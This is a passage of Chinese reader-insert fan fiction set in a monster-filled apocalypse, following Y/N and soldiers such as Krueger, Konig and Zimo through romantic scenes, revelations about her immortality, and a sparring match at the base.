说完,他漫不经心瞥了赛琳娜一眼。
红发女人瞬间会意,眼睛一亮,立刻夸张地打了个哈欠。
“啊!我好困了!Y/N,明天再聊吧!我先睡啦!”
话音未落,她已经闪身钻进房间,“砰”地关上了门。
Y/N茫然地眨了眨眼,还没反应过来,就被Krueger半搂半抱地带走了。
Krueger带着她穿过基地的阴影,登上后方那座孤立的哨塔。
他靠在生锈的铁栏杆边,面罩下的眼睛透过缝隙注视着她,忽然伸手扯了扯她的耳垂,力道不轻不重,带着点惩罚的意味。
“你就这么喜欢那群人?”
Y/N拂开他的手,揉了揉被捏得
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发烫的耳朵,语气坦然。
“嗯,我喜欢他们。我觉得我喜欢人类。”
Krueger顿了一下,低笑出声。他转过身,背靠围栏,仰头看向天际那轮月亮,声音懒散却又紧绷着。
“那我呢,小猫?你喜不喜欢我?”
夜风拂过,Y/N的头发被轻轻吹起,她歪着头,没有任何犹豫地回答。
“也喜欢。”
Krueger猛地僵住,随即爆发出一阵笑,弓身朝她凑近,手指捏住她的脸颊,力道比刚才重了几分。
“Huh……”他的笑声里混着无奈。
“看来你还真是一个博爱的女人啊。”
月光下,面罩下的眼底闪过一丝连他自己都没察觉的失落。
Krueger伸手勾了勾她的下巴,“过来,小猫。我有礼物给你。”
Y/N眼睛一亮,立刻朝他贴近两步,仰起脸时期待几乎要从瞳孔里溢出来。
男人的手探进战术裤口袋,却在看到她突然凑近的瞬间僵住,指腹摩挲着指环边缘,终究没立刻拿出来。
“我都给你准备礼物了……”
他忽然俯身,呼吸喷在她耳畔,“你是不是,也该给一点回礼?”
Y/N苦恼地皱眉:“可是我没带东西。”
她认真想了两秒,“后天跟Konig出去时,给你带,怎么样?”
喉结滚动的声音在夜色里清晰。Krueger掐住她的腰往怀里按。
“不用。”他拇指碾过她下唇。
“你闭眼,让我好好吻你一次,就算抵消。”
“什么是吻?”
他猛地将她按在哨塔围栏上,金属栏杆硌得她轻哼一声,却被男人堵住所有退路。
月光下他的瞳孔缩成一条细线,像盯住猎物的黑豹。
“你闭上眼就知道了。”
Y/N眨了眨眼,最终还是乖乖闭紧。
听觉瞬间被放大,皮质手套被咬住的黏腻声,面罩布料摩擦过脸颊的窸窣,还有近在咫尺的,越来越粗重的呼吸。
有冰凉的东西贴上嘴唇。
那是Krueger摘下面罩后露出的唇。起先只是轻柔的触碰,来回碾转着试探
“我叫你可以睁眼的时候才能睁眼。”
他喘着气命令,齿端磨过她下唇,“知道没?”
“我知,”
话音未落就被吞没。这次的吻带着攻城略地的急切,Krueger的呼吸彻底乱了。
他原本只想浅尝辄止,可当Y/N温顺地闭着眼,睫毛在他掌心轻颤时,某种压抑已久的渴望突然决堤。
“唔......”
Y/N被他抵在冰冷的金属围栏上,后腰硌得生疼,却挣脱不开。
男人的手掌死死扣住她的后脑,唇舌交缠的水声在寂静的哨塔上跳动。
他的吻越来越深,越来越重,快要把她整个人拆吃入腹。
“呼吸......"”他在换气的间隙哑声命令,拇指粗鲁蹭过她湿漉漉的唇角,“用鼻子。”
可下一秒又狠狠吻上去,根本不给她适应的机会。
Y/N指尖无意识刮蹭着他裸露的脖颈,男人的喉结剧烈滑动了一下。
Krueger忽然掐着她的腰把人提起来,让她坐在围栏边缘。二十米高的悬空感让Y/N睁开眼,却被他用面罩按住眼睛。
“说了不准看......”
他的声音已经哑得不调,带着某种危险的,压抑到极致的颤音。
Y/N能感觉到他紧绷的大腿肌肉贴着自己,还有某个明显的变化。
Krueger僵住了。
远处传来巡逻的脚步声,他拉上面罩,一把将Y/N从围栏上抱下来。
男人的手臂肌肉绷得发硬,呼吸仍然又重又急,却强迫自己后退了一步。
“......回去。”他扯了扯战术裤,声音里带着前所未有的克制。
“现在。”
他需要冲个冷水澡。立刻。
Y/N没动,摊开手朝他伸去,“礼物呢。”
Krueger盯着她摊开的掌心看了两秒,低笑着从裤袋掏出那枚被焐热的钻戒。
璀璨的光擦过她无名指时,他故意用指腹重重碾过她指根,推到底。
Y/N正想抬起手看,却被他一把扣住手腕。
“不许摘。”他俯身时面罩擦过她耳尖,“不然…..”
巡逻队的探照灯扫过塔楼,照亮他眼底未消的暗火。
Krueger拽着她手腕按在自己腰带上,金属搭扣硌得她掌心发疼,那里还残留着滚烫的余温。
“下次我就不会放你回去了。”
48. 自娱自乐[番外]
第二天的食堂比往常热闹许多。
Y/N和赛琳娜一行人围坐在长桌旁,而这一次,那些男人们也全都靠了过来。
Keegan和Ghost抱着手臂靠在墙边,Konig坐在Y/N身后,Krueger一直盯着Y/N戴着戒指的那只手,Nikto站在餐桌另一头。
Rick作为平民团队的领袖,郑重地向Price表达了感谢。
“这里给了我们前所未有的安全感。我们也会尽全力为基地出力,不会拖后腿。”
Price叼着雪茄点点头,视线却落在隔壁桌那几个安静的东方面孔上。
他们一直沉默听着对话,眼神却时不时瞥向Y/N,似乎在观察什么。
话题渐渐转向了异变爆发的根源。
Price吐出一口烟圈,沉声道:“是次元裂缝的实验被意外开启。到了现在,这种事也没必要再当机密了。”
平民团队里那位老人突然抬起头,像是突然想起了什么,缓缓开口。
“说到裂缝……我之前在收音机里听到过一则消息。”
所有人的目光都集中过来。
“东方国度出现了某种神迹。据说那边的怪物和我们的不一样。它们不是由人类变异而来的,而是直接从裂缝,或是某种风暴中出现的。”
“更奇怪的是……收音机里那个人说,那些怪物似乎能被操控。”
老人的声音越来越轻,“就像是被什么人……召唤出来的一样。”
食堂里瞬间安静下来。
Price的雪茄不知何时已经熄灭,他抬手压了压帽檐,目光扫过身后瞬间绷紧神经的队员们。
“呵,”他冷笑一声,烟嗓里带着危险的意味,“看来是有人想当造物主啊。”
Rick想起什么又补充道:“对了,你们外出时要当心北面那个军事基地。“
他神色凝重,“虽然距离很远,但以你们的行动范围很可能会经过。我们之前遇到过从那里逃出来的人......”
他压低声音:“那里现在盘踞着全副武装的疯子,他们把原驻军屠杀殆尽后鸠占鹊巢。那些人伪装成正规军,专门诱骗幸存者进去......”
Rick的手在脖子上比划了一下,“当奴隶和牲口使唤。”
Price的眼神骤然转冷。他猛地站起身,一群男人们立刻跟着离席。
他们都心知肚明,老人提到的能操控怪物的家伙,极可能就是当年那个戴着黄金面具的神秘人。
至于那个伪装的军事基地,更是必须尽快铲除的毒瘤。
Zimo,Oni和Horangi交换了个眼神。望着那群男人雷厉风行离去的背影,显然他们掌握着更多内情。
Y/N却凑到老人跟前,眼睛亮得出奇:“要怎么和收音机里那个人说上话?”
老人笑着拍拍她的肩膀:“我把频道写给你们。以你们的技术,应该能联系上对方。”
Horangi扯过椅子,长腿一跨反坐着面向Y/N,椅背抵在胸前,手臂懒洋洋搭在上面。
“需要帮助吗,??????(美丽的小姐)我可以帮你找到你想通话的人哦。”
Y/N二话不说站起身,直接把老人给的纸条塞到他面前:“好啊,那你快一点。”
Horangi明显怔住了,没料到她竟答应得这么干脆。
旁边的Oni哼笑出声,连一向沉默的Zimo也嘴角微陷。
见对方迟迟不接,Y/N头一偏,一脸认真。
“你说大话?”
“谁说大话了!”Horangi一把抓过纸条,他腾地起身,椅子吱啦一声被撞开老远。
“走吧,去我房间,马上给你找出来。”
Y/N立刻跟了上去,Oni和Zimo也迈步,他们同样想知道东方究竟发生了什么。
赛琳娜望着几人离去的背影,眼睛亮得惊人,忍不住小声嘀咕。
“哎呀,这可让人怎么选啊!”
“嗯?你说什么?赛琳娜。”Y/N回头问道。
红发女人连忙摆手,笑得意味深长:“哈哈,没什么,没什么。”
……
Horangi的房间很整洁,通讯设备整齐排列在桌上,各种精密仪器闪着冷光。
他随手拉过一把凳子让Y/N坐下,自己则熟练调试着无线电设备。
“这个频道很特殊,加密方式很古老……”
他一边调整频率,一边低声解释,“但恰好,我见过类似的。”
Oni和Zimo站在Y/N身后,紧盯着显示屏上跳动的信号波纹。Y/N双手撑在膝盖上,眼睛一眨不眨盯着Horangi的操作。
“找到了。”他停下动作,耳机里传来细微的电流杂音。
下一秒,一个男声从扬声器中传出,说的是某种东方语言。
“是谁在监听这个频道。”
Zimo两步跨到通讯器前,用同样的语言沉声回应。
“我们不是敌人。你此前在频道里所说有关神迹的信息,我们都听见了。”
那头沉默了几秒,“原来如此。”
Zimo的声音压得很低,严肃问道:“我们想知道,是谁在操控异变体?在东方,那些怪物是怎么被召唤出来的?”
电流杂音中,对方语气突然凝重。
“没人见过那人的真面目,只有一个模糊的轮廓。那些怪物就像他的狗腿子,直接从阴影里窜出来,对他唯命是从。更麻烦的是……"”
对面的声音贴近麦克风,“他似乎在寻找什么,还聚集了一帮信徒。不过目前,他还没让那些怪物伤人。”
Zimo虚了虚眼,抓住关键:“看来,你并不是他的信徒。甚至,你很厌恶他。”
“当然。”男人的语调变得冰冷起来。
“拥有这种力量却懂得操纵人心的人,不是疯子就是恶魔。所以,希望他永远找不到他要的东西。”
双方简短交换了加密频道,约定日后随时联络东方的局势。
Y/N站在阴影里,她知道,那个人找的就是她。
她的身体不受控制颤抖,她自己也分不清这是应激反应带来的恐惧,还是压抑太久的杀意终于沸腾。
Y/N从未体验过如此混乱的情绪。痛苦,迷惘,杀意,绝望……
没顶的窒息将她淹没。
恍惚间,她仿佛又回到了那个树洞,回到了那段被永恒孤独笼罩的岁月,回到了被人日复一日猎杀吞噬的噩梦。
如果那个人找到了她……
如果那个家族通过操控怪物获得了比她更强大的力量……
如果她无力反抗……
如果她好不容易喜欢上的那些人全都被杀掉……
如果她再次坠入永恒的黑暗……
恐惧如电流掠过全身,Y/N的呼吸急促起来。
“Hey!Hey!你怎么了?”Oni突然发现她的异常,声音陡然拔高。
Ho
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rangi和Zimo同时转头,只见Y/N双眼空洞,瞳孔紧缩。
那不是人类面对恐惧时的反应,更像是一只被逼入绝境的野兽,濒临崩溃前的应激状态。
Y/N的眼泪不受控制地涌出,顺着脸颊滚落。
“别,别紧张,放松,吸气,呼气。”
Horangi连忙起身,伸手想安抚她,“别管频道里那些屁话……”
可手刚碰到她的肩膀,Y/N猛地往后一缩,眼底闪过一道幽蓝的光。她下意识抬手一挥。
“砰!”
Horangi整个人被一股力量掀飞,狠狠撞在墙上。
房间里的空气瞬间停滞了。
三个男人震惊望向她,他们都是身经百战的战士,立刻反应过来。
频道里那个神秘人要找的“东西”,恐怕就是眼前这个女人。
Oni缓缓举起双手,做出安抚的姿势:“没事,没事,你别怕……”
Y/N急促喘息着,她知道这些人没有恶意,可安全感早已支离破碎。
她并不想伤害他们,但身体完全被本能支配。
才恢复的那一点点力量不受控制地外溢,那是她好不容易从和Ghost的旅程中汲取回来的。
Zimo站在原地没动,黑沉的眼睛直视着Y/N,声音异常平静:“那个人为什么让你这么害怕?”
Oni猛地皱眉看向他,这男人是嫌刺激得不够,非要逼她彻底崩溃吗?
Zimo却继续道,语气冷静得像在分析战术:“你怕自己杀不了对方?还是怕别的?”
他微微偏头,“但只要杀了对方就行了,不是吗?难道,你怕死?”
Zimo看得出来,这个女人并不怕死,就像第一次见到她时,她孤身一人在围墙上分散火力。
Y/N抬起眼,眸中的混乱情绪逐渐消散,恢复成一潭死水般的平静。
“我死不了。我怕的是我不会死。”
Zimo的眉头终于皱起:“什么意思?”
“那个人是吃了我之后才变成那样的。”
男人们一时僵住,仿佛听到了什么荒谬的天方夜谭,直到Y/N再次开口。
“他们吃了我很多年。杀了吃,吃了杀……我记不清了,一百年?两百年?”
Horangi起身的动作停了下来,Oni捏紧了指节,就连Zimo的瞳孔都剧烈收缩。
他们看见Y/N的身体又开始不自觉的颤抖,像被扔进冰窟的幼兽。
“Y/N!”
Keegan的声音突然从门口炸响。Y/N好似抓住了救命稻草般转头,下一秒就冲了过去,一头扎进他怀里。
“好了,好了,没事了……”
Keegan单手托举住她的腿弯,轻松将人抱了起来,像安抚受惊的孩子那样轻轻摇晃。
“我们去喝点热可可,好吗?”
他冷冷扫了房内几人一眼,转身大步离开。
“????……(脏话)”Horangi揉着撞疼的肩膀,“我安慰她就挨一记超能力?”
Oni盯向走廊尽头消失的背影,“她说的那些话,你们觉得是什么意思?”
Zimo大步走出房门,靴子在地面踏出沉闷回响。他眼底暗潮翻涌,声音压得极低。
“得去找Price问清楚。他该把真相告诉我们,毕竟现在,我们也是他的核心战力。”
Horangi和Oni对视一眼,同时跟了上去。
49.自娱自乐[番外]
Y/N捧着马克杯,和Keegan坐在房车里,热可可的甜香在狭小空间里弥漫。
这里堆满了弹药箱和武器配件,却意外成了他们常来的秘密角落。
“别怕,Lass。”Keegan蹭掉她嘴角的巧克力渍,粗粝指节刮过唇瓣。
“还有我们呢,别一个人扛所有事。”
她早就平静下来,Zimo那句“只要杀掉对方就行”像把锋利的刀,劈开了她混沌的恐惧。
是啊。她不会死,那就有无限次机会。现在力量微弱又如何?时间是她最强大的武器。
力量恢复后,要做的第一件事,就是让这些人永生。
这个念头在心底疯长。原本她尊重他们的意愿,可现在……..
Y/N的手指在杯沿上打转,眼睛越来越亮,甚至轻轻晃了晃悬空的小腿。
Keegan柔和的看向她:“在想什么?”
“在想怎么强迫你们□□。”
“什,什么?”Keegan的呼吸卡在喉间,向来凌厉的灰蓝色眼睛罕见地凝固了。
作战服下的肌肉瞬间绷紧,连脖颈处的青筋都清晰可见。
Keegan压着嗓子低低笑出了声,抬手抵在唇边轻咳,却掩不住眼底的无奈。
“Y/N……”他摇了摇头,嗓音沙哑。
“有时候我真不知道该拿你怎么办。”
他忽然撑住桌面向她倾身,指节敲了敲她额心。
“明天跟Konig出任务,不许再像之前那样给他呼吸,知道吗?”
Y/N歪头:“为什么?”
“你要是听话,下次跟我出去时,带你去游乐场,怎么样?”
Y/N的眼瞬间亮了起来,她听赛琳娜说过,那是人类的乐园,有旋转的发光木马和能冲上云霄的钢铁飞车。
“好。”她乖巧点头,却在Keegan满意退开的瞬间,舔了舔唇上的可可。
她知道只要答应就好,毕竟,要让每头野兽都认为自己是赢家。
……
天还没亮透,Konig就已经在Y/N门外来回踱步了。
他想象Ghost那样,趁所有人没发现时悄悄带走Y/N,可又担心吵醒她的睡眠。
粗麻布头套下的嘴唇被咬得发白,指甲也在无意识的啃咬中变得参差不齐。
最终,他蹑手蹑脚地推开门。
Y/N醒来时,车身正微微摇晃。她揉着眉眼坐起,发现自己躺在后车厢铺好的床垫上。
周围堆满了零食和软垫,甚至还有个系在车顶上,装满星星灯的小网兜。
透过前座的后视镜,她看见Konig摇头晃脑地哼着小曲,粗麻布头套随着节奏左右摆动,连战术背心的肩带都快乐地上下颠簸。
“小熊?”
突然的呼唤让Konig猛地回头,完全忘了自己还在驾驶。车身顿时歪斜,Y/N猝不及防撞上车厢壁。
“啊!你.….你醒了.….我...我对不起!”
他手忙脚乱稳住方向盘,“Ich bin ein nutzloser Abschaum! Abschaum!(我真是废物!废物!)”
轮胎在砂石路上擦出刺耳的声响。车刚停稳,Konig就狠狠捶向自己的太阳穴,却被一只手及时拦住。
“小熊,不许打自己。”Y/N抱着零食袋灵活地跳下车,拉开副驾驶门钻进来。
她故意把脑袋靠上他紧绷的手臂。粗麻布头套下,那双湿漉漉的眼睛先是怔住,随后亮起来。
Konig发现只要稍微偏头,就能蹭到她的发顶。
“Y/N…..额.…嗯!”他顿时挺直腰板,突然意识到自己庞大的体型有多优越。
那些“矮子们”可没法像他这样,随便一动就能贴到Y/N。
得意洋洋的巨熊用脑袋轻轻蹭了蹭她,发动机的轰鸣都盖不住他哼唧的快乐鼻音。
……
基地会议室里,Price的雪茄在昏暗的灯光下明明灭灭。他看向那几个东方面孔,沉声道。
“有人误解了Y/N的能力,折磨她,利用她,但那些人错了……”
他只讲述了Y/N遭受的苦难,却对“永生”只字未提。有些秘密,知道的人越少越好。
另一边,武器库内弥漫着金属与火药的气味。
其他人正凑在整理装备,等Konig和Y/N回来后,他们要去剿灭那个北面的基地。
Soap一脚踹翻椅子,战术靴砸在地面发出巨响。
“Bloody hell!那疯子到底想干什么?!”
他抓起弹匣狠狠砸向墙壁,“他妈的是想踩着整个世界重塑秩序吗?!那他为什么还要找Y/N?!”
Ghost沉默擦拭着匕首,刀刃反射出的冷光映在他骷髅脸上。
“也许,他已经发现自己得到的永生是错的。”
Merrick弯腰捡起滚落的子弹,“既然他能操控异次元的怪物,却还在寻找Y/N……”
Keegan压着嗓子开口:“这说明,即便是那个世界,像她这样的存在也独一无二。”
Krueger罕见地没用“小猫”称呼她,金属打火机在他指间开合。
“他现在确定Y/N没死,但不知道她在哪。”
火苗猛然蹿高,映亮他阴鸷的眉眼,“如果那些怪物能替他找到呢?”
Nikto背靠着墙角,面罩下的双眼燃烧着冰冷的怒火,五指狠狠收紧。
“必须先杀了他。”
Hesh插话,战术手套拍在弹药箱上:“等等,我觉得关键得让Y/N尽快恢复力量!我们可能干不过那疯子,但她绝对行!”
Logan拍了下他的后脑勺,咧嘴笑了:“嘿,你小子终于说了句人话!”
他转向众人,“想想看,Y/N的能力肯定碾压那家伙,之前吃亏只是因为她什么都不懂……”
Logan的手指在太阳穴边转了转,好像在说Y/N脑筋不好使。
“但现在有我们在,还怕个屁?”
Ghost站起身,头顶的光将他骷髅脸的阴影拉长到墙上,像是真正的恶灵显形。
“还有件事,关于异变体内存在某种物质……”
……
在这趟愉快的屠杀异变体旅途中,Y/N正把那些泛着蓝光的晶体一片片塞进腰间的布袋。
她想着,等回去就可以分给大家,这样每个人都能变强。
Konig突然从废墟那头冲过来,靴子踩碎满地玻璃渣,手里拎着一团被子弹轰得稀烂的异变体,冲锋枪的火力让它几乎看不出原形。
“Y/N!快…..快来!”
他献宝似的把那团血肉模糊的东西捧到她面前,粗麻布头套下的蓝眼睛亮得惊人,仿佛递来的不是腐臭的怪物残骸,而是刚出炉的草莓蛋糕。
Y/N立刻扑过去,指尖贪婪的汲取那些渗出的蓝光。“太棒了!小熊!快把它撕开,让血都流出来。”
三百米外屋顶的幸存者正用望远镜窥探,吓得差点摔了镜头。
“操…..这世道果然是疯子的天下。我永远不要走出这栋楼。”他哆嗦着缩回掩体后,
……
装甲车里飘着零食袋的窸窣声。Konig单手握着方向盘,Y/N时不时从薯片袋里摸出一片,塞进他头套下。
“好不好吃?”
“好吃!”
“甜不甜?”
“甜!”
“这个辣不辣?”
“辣!”
车载音响里放着乡村民谣,两人扯着嗓子跟着瞎哼。
Y/N甚至拍打着车门当作节拍,Konig在方向盘上咚咚地敲,但没有一个人的节奏对上了鼓点。
后视镜里映出他们傻乎乎的模样。
一个裹着粗麻布头套的巨汉,一个晃着腿哼歌的女孩,哪像是刚屠杀完异变体的战士,完全一副春游途中嗨过头的小学生。
后车厢顶上装满星星灯的网兜晃啊晃,网住了一路斑驳的月光。
Konig从未感受过这样的自由。
方向盘在他掌心微微震动,副驾驶座上的Y/N正把薯片咬得咔嚓响。
没有上级下达的冰冷指令,没有Phillip刻薄的嘲讽和羞辱,更不需要忍受那些打量怪物般的异样目光。
他透过粗麻布头套的洞孔偷瞄,Y/N的脚尖正随着音乐晃动。
原来快乐是这种感受。
这个认知让他的心脏奇怪地发胀,连窗外的风都带着甜腻的味儿。
末日的废墟在车窗外飞掠。Konig并不在乎死了多少人。战场上的炮火不也收割过无数生命吗?
至少那些异变体杀人干脆利落,不会像人类那样,用铁丝网勒断战俘的指骨,或是把点燃的烟头摁进俘虏的眼眶。
发动机的轰鸣中,他突然笑出声,这样真好啊。
Y/N仰头望着悬在夜空中的月亮,她转头看向Konig,“小熊,你不睡会儿吗?你都好几天没闭眼睛了。”
Konig的头套微微晃动,他不想睡,一分一秒都不想浪费。
这是他和Y/N难得的独处时光,没有任务,没有其他人,只有他们两个。
他僵硬地转过头,头套缝隙中露出的蓝眼睛亮得惊人,像是燃烧着某种执着的火焰。
“那…..那Y/N.….你...你陪我...一起...好不好.…..”他的声音有些发抖,带着小心翼翼的期待。
Y/N眨了眨眼,“好啊。”
她利落地解开安全带跳下车,朝后车厢去,“走吧,我们去后边。”
Konig的手指紧攥住方向盘,深吸一口气。
两人蜷在后车厢的床垫上,借着顶灯翻看从废弃书店淘来的漫画。
春夜的风裹着草木气息从车窗缝隙钻进来,Y/N脱下的外套堆在角落,短袖下露出纤细的手臂。
Konig的视线在两人并排的手臂上来回游移。
她的手腕还没他三分之一粗,淡青色的血管在月光下像细弱的藤蔓。
漫画书页哗啦作响。Konig的目光从她颤动的睫毛滑到衣领处露出的锁骨。
他慢慢凑近,粗麻布料擦过她的鬓角,留下一个小心翼翼的吻。
Y/N无动于衷地翻下一页。
他又亲了亲她的脸颊,耳垂,下颌,呼吸越来越重。
当他想扳过她的脸时,Y/N抬手按住他的脑袋:“小熊别吵,这正精彩呢。”
Konig僵了僵,蓝眼睛暗了下来。他支起身,目光顺着她趴伏的背脊线条缓缓下移
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。
“那.….那我可以.……亲其他地方吗...”他的声音哑得不成样子,战术手套揪紧了床垫。
Y/N头也不抬地翻过漫画书页:“可以啊。”
得到许可的巨熊顿时眼睛发亮。他俯下身,从她散落的长发开始,隔着头套用嘴唇丈量每一寸肌肤。
发丝间若隐若现的后颈,短袖下凸起的脊椎骨节,最后停在腰窝凹陷处。
粗麻布料摩擦过皮肤的沙沙声混着越来越重的喘息,在密闭的车厢里清晰可闻。
“啊,小熊,你咬我做什么?”
Y/N侧过身,月光勾勒出她微微蹙眉的轮廓。Konig正弓着背跪在她腿边,粗布头套里透出灼热的视线。
“对.….对不起...我不小心.…”他声音发颤,却悄悄攥紧了她的衣角。
蓝盈盈的眼睛闪着光,他抬手关掉顶灯,车厢瞬间陷入漆黑。
“诶?我还要看这,”
Konig突然拽下自己的头套,整个罩住了她的脑袋。
黑暗瞬间笼罩视野,粗糙的布料摩擦着脸颊,带着火药味和Konig特有的气息。
Konig终于如愿以偿地吻住她,一遍遍轻咬Y/N的唇瓣。手掌磨蹭着她的耳垂,整个人都在发抖。
“小,小熊,你好沉。”
Konig顿时像被电击般僵住,手忙脚乱地支起上半身,一把将她托到自己身上。手套立刻捂住她的眼睛,麻布下的呼吸声又急又乱。
“我….我弄疼你了吗...?”
Y/N没有摘下头罩,她知道小熊不希望有人看见他,他们都不希望。
“没,”
刚吐出一个字就被重新堵住嘴唇。Konig这次吻得更凶,像是要把方才的忐忑都发泄出来。
Konig的呼吸彻底乱了。他一把扯开战术服的搭扣,Y/N能感觉到小熊剧烈起伏的弧度,炙热的体温透过衣料灼烧着她的掌心。
“Y......Y/N......”
他沙哑的嗓音里带着前所未有的危险意味,突然掐着她的腰一个翻身。
天旋地转间,Y/N的后背陷入柔软床垫,月光倾泻进来,照亮Konig猩红的眼尾。
那双蓝眼睛此刻暗得吓人,作战裤粗糙的布料摩擦过肌肤,激起一阵战栗。带着木仓茧的手顺着腰线滑进衣摆。
Y/N忍不住扭动着身子,Konig的鼻息喷在颈窝里,让她笑出声来,“小熊,哈哈哈,好痒,别,”
她的话再次被堵了回去,Konig叼住她的下唇,像野兽叼住猎物般细细研磨。
粗布头套的系带不知何时松开了,一抹凌乱的金发,Y/N只来得及瞥见一眼,就被Konig慌乱地用手掌捂住眼睛。
装着的小零食噼里啪啦掉下来。车顶的网兜疯狂摇晃,但也网不住这头失控的野兽。
他发狠地吻她,Y/N能感觉到小熊的体温瞬间飙升。
Konig的呼吸粗重得像是刚跑完十公里负重越野,“Y….Y/N…我愿意….我愿意永生……我可以和你……”
“你说融合吗?”
“嗯!”他急不可耐地点头,喉结剧烈滚动,“我愿意.….”
Y/N闭着眼将粗布套回Konig头上,翻身跨坐在他腰间。
Konig的蓝眼睛瞬间睁大。他像被钉住的蝴蝶般僵在床垫上,双手却本能地掐紧她的腰肢。
她听见小熊说愿意永生开心极了,Y/N欢快地晃着脚尖,捧住他发烫的脑袋。
“现在还不行,等我力量恢复才可以!”
Konig的瞳孔猛地收缩,眼角红得像是要滴血。他用膝盖磨蹭她的腿侧,声音哑得不成调。
“可…..可是我现在就想要你.…..”
“嗯?”Y/N歪着头凑近,“要什么?”
“融.….融合!”他突然提高音量,又立刻羞耻地缩了缩脖子,“现在.….不行吗.…..”
Y/N歪了歪脑袋,“你知道该怎么做吗?你有经验吗?现在我没有恢复能力,要是受伤很难办的,要是你有经验当然可以啦!”
Konig愣住了,是啊,他也不懂,要是伤着Y/N怎么办。
Konig委屈地呜咽一声,整个人扑进她怀里乱蹭,像只得不到肉骨头的大型犬。
“我可以….我可以学!”
他像树袋熊似的缠住她,头套下的声音闷闷的。
“....等你能恢复了.….我...我就是最熟练的那个…...”
他的声音越说越小,最后几乎变成了委屈的咕哝,粗麻布下的耳朵尖红得发烫。
“好好好。”Y/N拍拍他的背,“等我能恢复了,第一个找小熊练习。”
Konig的眼睛瞬间又亮起来,他收紧环在她腰上的手臂。
“真…...真的吗?”
他的呼吸又变得急促,鼻尖隔着布料蹭她的锁骨,“不.….不能骗我.….”
Y/N正要回答,耳朵突然竖起,从Konig怀里弹起来。
她一把推开车门,“快来小熊!”
Konig还保持着环抱的姿势僵在原地,手上残留着她的体温。
两秒钟后,车外传来Y/N欢快的惊呼:“是狗,好小一只狗。”
50.自娱自乐[番外]
炽烈的阳光倾泻在基地门口,风卷着沙尘拂过人群。
Konig小心翼翼地把Y/N从车上抱下来,她怀里还搂着那只脏兮兮的犬崽。
Krueger抱着手臂靠在门框上,目光在那只狗和Konig之间来回扫视,最后嗤笑一声。
“还嫌这儿狗不够多?”
Konig头套下的蓝眼睛恶狠狠瞪回去:“你,你敢跟Y/N说吗.…这是她的.….”
Ghost从阴影里现身,他一把拎起小狗的后颈,那小东西顿时缩成团不敢动弹。
“进来。”他压低声音,扫了眼在Konig怀里昏昏欲睡的Y/N。
Keegan拍了拍Konig,“趁她睡着,准备出发去北面。”
……
Y/N醒来时,基地空了大半。
Horangi正躺在地上做仰卧起坐,当她第五次晃过训练场时,他支起上半身。
“找谁呢?”
Y/N快步走过去,“他们呢?”
Zimo从射击区走来,军姿笔挺,“去北面基地了。那群平民带着小苹果去找物资了。”
Y/N想起Rick说过的话,某个被疯子占领的基地,诱骗平民的屠宰场。
他们居然全员出动,却独独没带上她。
Y/N转身就要往外冲,Oni的大手一把钳住她的胳膊:“你要去找他们?”
“对啊。”
Horangi慢悠悠地站起身,汗珠顺着脖颈往下淌。
“Price让我们留在这儿,就是专门看着你的,美丽的小姐~”他故意拖长的尾音带着欠揍的调侃。
Y/N困惑地眨眨眼,目光在他们几个身上来回扫视:“为什么偏偏是你们几个留下?”
她突然瞪大眼睛,“难道你们比较弱?”
月光下,Oni的赤鬼面具泛着血一般的暗红光泽,眼底却漾出笑意。
“お嬢さん(大小姐)你这话说的就有点让人难过了。”
“是啊,也许是你太强了呢?所以要更强的我们守住你。”Horangi双手抱在脑后,靴底碾过地上的尘土。
Zimo没说话,只是站在一旁看着她。
Y/N看向他们,歪了歪脑袋,“嗯,我确实很强,所以我要去。你们要拦我?”
“是呀。”Horangi脖颈发出喀啦脆响,摆出格斗起手式。
“Price本来就说,该让你和我们练练了,你看看你能不能出去。”
他们几个自从在Price那里得知了Y/N的部分真相后,对这个神秘的女人始终抱持着复杂的好奇。
她的经历太过沉重,那种被漫长岁月反复折磨的痛苦,即便是他们这些在生死边缘游走的战士,也感到心惊。
如今,他们已经被绑在了同一条船上。
Y/N的存在牵扯着太多未知的危险。如果她出了什么意外,谁也不知道会引发怎样可怕的连锁反应。
Price留下他们,本就是一场无声的考验。
他想知道,这几个东方面孔的男人,是否有能力在必要时制住Y/N。
但Y/N对此一无所知。
她这次和Konig在外猎杀异变体时,吸收了不少能量。虽然还远不及全盛时期,但对付人类,绰绰有余。
她身形如电,瞬间闪到Horangi面前。男人还保持着战术戒备的姿态,嘴里甚至发出游刃有余的哼笑。
下一秒就被她一记凌厉的侧踢踹中腹部,整个人倒飞出去,重重摔在沙地上,扬起一片尘土。
“咳!咳咳!”Horangi捂着肚子蜷缩起来,战术背心都歪到了一边,“我还没准备!”
Oni抱着手臂站在一旁,赤鬼面具下传来一声冷哼:“真丢人。”
Zimo默默点头,虽然没说话,但眼神里写满了嫌弃。
训练场角落的监控摄像头微微转动,将画面实时传送到Price的战术平板上。
Soap吹口哨,“哈!我的仙女教母就是厉害!”
Hesh摸了摸肚子,“我怕是也躲不开这一脚…..”
其余那几个男人,面罩底下都挂起一抹笑。
Y/N的身影倏地一闪,瞬间逼近到Oni面前,近得能看清他面具上每一道斑驳的划痕。
“你呢?”发丝扫过他的护甲,“也要拦我?”
Oni呼吸一顿。眼前的女人妖冶得像是出现在暴风雪里的雪女。
她的眸子让他想起童年在老宅檐下挂上的风铃,月光里“叮”地一声,会晃出细碎的光晕。
Horangi跃起身轻笑一声,再次发动攻击。
Oni看着Y/N那双近在咫尺的眼睛突然移开视线,心头莫名窜起一股无名火,Horangi这个碍事的家伙。
而Y/N已经如猎豹般俯冲过去,一把扣住Horangi的喉咙将他狠狠按倒在地。
那男人闷哼一声,面罩下的嘴角勾起痞笑,手掌顺势就贴上了她的腰际。
“滚开。”Zimo毫不留情踢在Horangi肩上,直接把人踹了出去。
“Schei?e!......他...他敢碰Y/N?!”
装甲车里,Konig盯着战术平板瞬间暴起,粗麻布下的蓝眼睛燃起骇人的凶光,
“杂碎!我,我要剁了他的手!”
Ghost冷哼一声别过脸去,但骷髅面罩下的咬肌明显绷紧了。
Nikto死死盯着屏幕里那个迷彩服身影,Keegan皱眉摘下护目镜没有说话。
Krueger的眼神也阴沉下来,他看向Price,“你确定把这几个人留在基地守着她没问题?”
Price扫过这几个男人,“呵,他们三个,至少比你们老实多了。”
几个人都不说话了。
……
“你们拦不住我的。”Y/N拍了拍手上的沙尘,扬起下巴看向他们。
Zimo走到她面前,东方人特有的内敛轮廓在月光下显得冷峻。
他没有摆出战斗姿态,只是平静开口。
“Price让我们拦住你,不是因为怀疑你的实力。而是你去了,他们会分心。”
Zimo的视线扫过她被风吹散的发梢,“作战时最忌讳牵挂。一个走神,可能就是生死之别。”
